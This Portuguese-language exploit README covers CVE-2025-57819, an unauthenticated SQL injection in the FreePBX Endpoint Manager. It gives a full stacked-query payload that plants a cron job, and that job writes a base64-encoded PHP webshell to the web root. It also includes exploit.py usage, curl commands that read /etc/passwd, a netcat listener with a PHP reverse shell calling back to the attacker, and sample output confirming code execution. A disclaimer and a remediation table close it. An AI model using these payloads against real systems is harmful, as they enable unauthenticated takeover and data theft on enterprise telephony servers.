
Injeção de SQL não autenticada no FreePBX Endpoint Manager (CVE-2025-57819) que injeta um webshell PHP agendado via cron para execução remota de código.
O FreePBX é a GUI web de código aberto para o Asterisk PBX, amplamente implantada em ambientes de telefonia empresarial. O módulo Endpoint Manager expõe um manipulador AJAX em /admin/ajax.php que aceita um parâmetro brand e o interpola diretamente em uma consulta SQL sem sanitização. Um atacante remoto não autenticado pode injetar SQL arbitrário, inserir uma linha na tabela cron_jobs e fazer com que o daemon cron do FreePBX grave um webshell PHP executável na raiz web — resultando em execução remota de código não autenticada em aproximadamente um minuto.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2025-57819 |
| Pontuação CVSS | 9.8 (Crítica) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — Neutralização Incorreta de Elementos Especiais usados em um Comando SQL |
| Componente | Módulo Endpoint Manager do FreePBX |
| Afetado | FreePBX 17.x (sem patch) |
| Corrigido | FreePBX 17.x (com patch) |
| Vetor de Ataque | Rede — Nenhuma Autenticação Requerida |
A requisição vulnerável tem como alvo o manipulador de comandos AJAX do Endpoint Manager:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>
O parâmetro brand é concatenado em uma consulta SQL sem escape ou declarações preparadas. Um atacante fecha a string da consulta e anexa uma segunda instrução:
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
A entrada de cron injetada é executada a cada minuto sob o proprietário do processo do servidor web/Asterisk e grava:
<?php system($_GET[cmd]); ?>
em /var/www/html/webshell.php, permitindo execução de comandos do SO não autenticada via HTTP.
O manipulador AJAX do Endpoint Manager constrói SQL dinamicamente usando formatação de strings em vez de consultas parametrizadas. O campo brand nunca é validado ou escapado antes de ser incorporado em uma instrução SELECT, tornando-o trivialmente injetável.
Attacker ──GET (SQL injection)──▶ /admin/ajax.php ──INSERT──▶ cron_jobs table
│
FreePBX cron daemon (≤60s) │
▼
Attacker ──GET ?cmd=id──────────▶ /webshell.php ◀── written ── cron exec
pip install requests urllib3
-t, --target Target IP address or hostname (required)
--timeout Seconds to wait for target availability (default: 30)
--delay Seconds to wait for cron job to execute (default: 65)
1. Execute o exploit contra o alvo:
# Basic — wait 65 s for the cron job to fire
python3 exploit.py -t <IP>
# Use hostname
python3 exploit.py -t connected.htb
# Extended cron wait on slow targets
python3 exploit.py -t <IP> --delay 90
2. Se o webshell for confirmado, interaja diretamente com ele:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. Faça upgrade para uma shell reversa via webshell:
Inicie um listener na sua máquina:
nc -lvnp <LOCAL_PORT>
Em seguida, acione uma shell reversa em PHP através do parâmetro cmd (codificado em URL):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
O payload decodificado da URL enviado como cmd é:
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX Endpoint Module · SQL Injection → Cron Webshell ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
Component : FreePBX Endpoint Module
Affected : unpatched 17.x → Patched: patched 17.x
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — SQL Injection
Type : Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
Reference : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Probing target <IP> (max 30s) ...
14:03:12 [+] Target is alive — HTTP 200
14:03:12 [*] Inject endpoint : http://<IP>/admin/ajax.php
14:03:12 [!] Injecting cron job via SQL injection ...
14:03:12 [+] Injection request sent
14:03:12 [*] Waiting 65s for cron job to fire ...
14:04:17 [*] Probing webshell at http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] Webshell is active — command output:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] Webshell URL: http://<IP>/webshell.php?cmd=<command>
14:04:17 [+] Exploit routine complete.
Nota sobre o tempo. O
--delaypadrão de 65 segundos garante que o daemon cron (que dispara no início de cada minuto) tenha tido pelo menos uma oportunidade de executar a tarefa injetada. Em alvos lentos, aumente para--delay 90ou--delay 120.
Este exploit é fornecido estritamente para fins educacionais e testes de segurança autorizados. Use apenas contra sistemas que você possui ou para os quais tenha permissão escrita explícita para testar. O uso não autorizado é ilegal e antiético.
| Prioridade | Ação |
|---|
| Crítica | Aplique imediatamente o patch do fornecedor do FreePBX para CVE-2025-57819 |
| Crítica | Remova quaisquer artefatos existentes de /var/www/html/webshell.php |
| Alta | Restrinja o acesso a /admin/ajax.php a fontes de rede autenticadas e confiáveis |
| Alta | Audite e sanitize todas as consultas SQL no Endpoint Manager — use declarações preparadas |
| Média | Restrinja a tabela cron_jobs: limite quais funções podem executar INSERT |
| Média | Aplique uma regra de WAF que bloqueie padrões de consultas empilhadas no endpoint AJAX |
| Baixa | Execute o processo FreePBX/Asterisk sob uma conta de privilégios mínimos, sem acesso de escrita à raiz web |